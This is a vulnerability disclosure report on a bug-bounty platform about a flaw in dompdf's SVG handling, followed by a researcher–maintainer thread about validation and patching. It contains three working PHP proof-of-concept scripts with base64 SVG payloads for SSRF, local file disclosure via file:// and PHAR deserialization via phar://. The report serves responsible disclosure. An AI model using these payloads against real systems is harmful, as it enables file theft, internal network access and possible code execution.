Improper Restriction of XML External Entity Reference in dompdf/dompdf

Valid

Reported on

Oct 12th 2021


Description

Improper restriction of external entities (XXE) in DomPDF's SVG parser allows it to perform an SSRF even if isRemoteEnabled set to false or even cause a deserialization attack in the SVG parser this time.

Proof of Concept

Payload 1 - SSRF (only allow_url_fopen required)

This embeds Google logo into the PDF document even when the isRemoteEnabled option is defaulted to false.

<?php
// Include autoloader 
require_once 'dompdf/autoload.inc.php'; 

// Reference the Dompdf namespace 
use Dompdf\Dompdf; 

$dompdf = new Dompdf();
// Load HTML content 
$dompdf->loadHtml('<img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjxzdmcgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgd2lkdGg9IjIwMCIgaGVpZ2h0PSIyMDAiPgo8aW1hZ2UgaGVpZ2h0PSIyMDAiIHdpZHRoPSIyMDAiIHhsaW5rOmhyZWY9Imh0dHBzOi8vd3d3Lmdvb2dsZS5jb20vaW1hZ2VzL2JyYW5kaW5nL2dvb2dsZWxvZ28vMXgvZ29vZ2xlbG9nb19jb2xvcl8yNzJ4OTJkcC5wbmciIC8+Cjwvc3ZnPg==">');

// (Optional) Setup the paper size and orientation
$dompdf->setPaper('A4', 'landscape'); 
 
// Render the HTML as PDF 
$dompdf->render(); 
 
// Output the generated PDF to Browser 
$dompdf->stream(); 

?>

For reference, this is the base64 decoded version in the SVG file:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="200" width="200" xlink:href="https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png" />
</svg>

Payload 2 - Image File disclosure (no requirements)

This causes the /var/www/html/index.jpg file to be included into the file.

<?php
// Include autoloader 
require_once 'dompdf/autoload.inc.php'; 

// Reference the Dompdf namespace 
use Dompdf\Dompdf; 

$dompdf = new Dompdf();
// Load HTML content 
$dompdf->loadHtml('<img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjxzdmcgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgd2lkdGg9IjIwMCIgaGVpZ2h0PSIyMDAiPgo8aW1hZ2UgaGVpZ2h0PSIyMDAiIHdpZHRoPSIyMDAiIHhsaW5rOmhyZWY9ImZpbGU6Ly8vdmFyL3d3dy9odG1sL2luZGV4LmpwZyIgLz4KPC9zdmc+">');

// (Optional) Setup the paper size and orientation
$dompdf->setPaper('A4', 'landscape'); 
 
// Render the HTML as PDF 
$dompdf->render(); 
 
// Output the generated PDF to Browser 
$dompdf->stream(); 

?>

For reference, this it the base64 decoded SVG file

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="200" width="200" xlink:href="file:///var/www/html/index.jpg" />
</svg>

Payload 3 - Insecure PHAR deserialization (only file upload of phar file required [can change extension])

Using the phar-poc.php and create_phar.php from my previous report: https://huntr.dev/bounties/0bdddc12-ff67-4815-ab9f-6011a974f48e/

<?php
// Include autoloader 
require_once 'dompdf/autoload.inc.php'; 

include("phar-poc.php");

// Reference the Dompdf namespace 
use Dompdf\Dompdf; 

$dompdf = new Dompdf();

// Load HTML content 
$dompdf->loadHtml('<img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjxzdmcgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgd2lkdGg9IjIwMCIgaGVpZ2h0PSIyMDAiPgo8aW1hZ2UgaGVpZ2h0PSIyMDAiIHdpZHRoPSIyMDAiIHhsaW5rOmhyZWY9InBoYXI6Ly8vdmFyL3d3dy9odG1sL3Rlc3QucGhhci90ZXN0LnR4dCIgLz4KPC9zdmc+">');

// (Optional) Setup the paper size and orientation
$dompdf->setPaper('A4', 'landscape'); 
 
// Render the HTML as PDF 
$dompdf->render(); 
 
// Output the generated PDF to Browser 
$dompdf->stream(); 

?>

For reference this the base64 decoded of my SVG payload:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="200" width="200" xlink:href="phar:///var/www/html/test.phar/test.txt" />
</svg>

Impact

This vulnerability is capable of 1) performing an SSRF attack, 2) disclosure of internal image files in the internal network or host system, bypassing any chroot or isRemoteEnabled checks, 3) cause a PHAR deserialization with no isRemoteEnabled or allow_url_fopen requirements as the phar:// wrapper is now being passed to file_get_contents() into the php-svg-lib library and NOT the dompdf library.

Recommended Fix

Disable allowing external entities in the SVG parser.

We have contacted a member of the dompdf team and are waiting to hear back 10 months ago
haxatron modified the report
10 months ago
haxatron modified the report
10 months ago
haxatron modified the report
10 months ago
haxatron
10 months ago

Researcher


Payload 1 only works when allow_url_fopen on, Payload 2 works in any scenario.

haxatron modified the report
10 months ago
haxatron modified the report
10 months ago
haxatron modified the report
10 months ago
haxatron modified the report
10 months ago
haxatron
10 months ago

Researcher


Apologies @maintainer, I have messed up the payloads earlier but I have fixed them, please recheck the report on the website to see the updated version

dompdf/dompdf maintainer
10 months ago

Maintainer


Confirming receipt of the vulnerability info. We have not yet had an opportunity to review.

dompdf/dompdf maintainer
10 months ago

Maintainer


Since Dompdf is dependent on the functionality of third-party libraries for SVG parsing there may be limited ability to resolve impact 1 & 2. I need to research more to see what capabilities there are for such restrictions with PDFLib. And php-svg-lib wasn't written with that level of security concern in mind, so some thought will have to be put into how to handle it.

The PHAR handling issue, on the other hand, is certainly addressable in the php-svg-lib project.

haxatron
10 months ago

Researcher


Hmm... ideally that there should be some form of integration between the isRemoteEnabled option in DomPDF and the SVG parsing.

An easier alternative would be to create a option for SVG rendering (much like the $isPhpEnabled option) and have it turned off by default.

haxatron modified the report
10 months ago
haxatron
10 months ago

Researcher


quick not that some of the payloads we missing the ">, have added them here.

We have sent a second follow up to the dompdf team. We will try again in 10 days. 10 months ago
haxatron
10 months ago

Researcher


Hi @maintainer, if you are able to reproduce this, could you validate the report? As always, feel free to ask for any clarification or information if you need :)

dompdf/dompdf maintainer validated this vulnerability 10 months ago
haxatron has been awarded the disclosure bounty
The fix bounty is now up for grabs
Jamie Slome
8 months ago

Admin


@maintainer - are we able to confirm the fix against this report, and we can go ahead and publish the CVE! ♥️

dompdf/dompdf maintainer
8 months ago

Maintainer


We’re actively working on this (and the other security issues) now. Small team so focusing resources is a challenge. Would appreciate a bit more time to patch. Though I understand if you want to move forward.

haxatron
8 months ago

Researcher


Hi @admin - please allow the maintainers more time to patch.

Hi maintainers, thank you for reviewing the reports and please take your time in releasing a fix. :)

Jamie Slome
8 months ago

Admin


@maintainer - not at all, take the time that you need and we really appreciate the efforts your team is dedicating to security!

Was just more of a little bump to see where we are at! Once this has been patched and marked accordingly, let me know!

haxatron
5 months ago

Researcher


Hi @maintainer, any updates on the progress on the fix for the 4 issues? No pressure of course :)

dompdf/dompdf maintainer
5 months ago

Maintainer


Thanks for the patience. With other things cleared off my plate I'm starting work on these issues now. I should have updates for some of these in the near future.

dompdf/dompdf maintainer
4 months ago

Maintainer


This should be addressed in 7c6d98d0.

Jamie Slome
4 months ago

Admin


@maintainer - are you able to mark as fixed using the button below?

dompdf/dompdf maintainer
4 months ago

Maintainer


Trying to decide whether I should do that now or after we've published the next release. Next release is probably a few weeks away, though, so am OK if you want to move forward with publishing. You've been more than patient.

Brian Sweeney
4 months ago

Maintainer


I see that marking as fixed has an option for the release so I'm thinking I should wait? I'll at least wait to see if any other contributors have suggested changes.

Also, the fix bounty doesn't have anybody listed so should I select "nobody"?

haxatron
4 months ago

Researcher


I think we can wait until next release. Also you can choose to award the fix bounty to yourself too

Jamie Slome
4 months ago

Admin


@brian - no rush, you are welcome to mark as fixed once the patch has actually been released. Our platform is here to serve your needs just as much as the researcher, so please feel free to continue when you are ready.

The fix bounty can either be returned to the prize pot for future reports, or you can reward it to yourself 👍

dompdf/dompdf maintainer confirmed that a fix has been merged on f56bc8 a month ago
The fix bounty has been dropped
PDFLib.php#L1213-L1226 has been validated
to join this conversation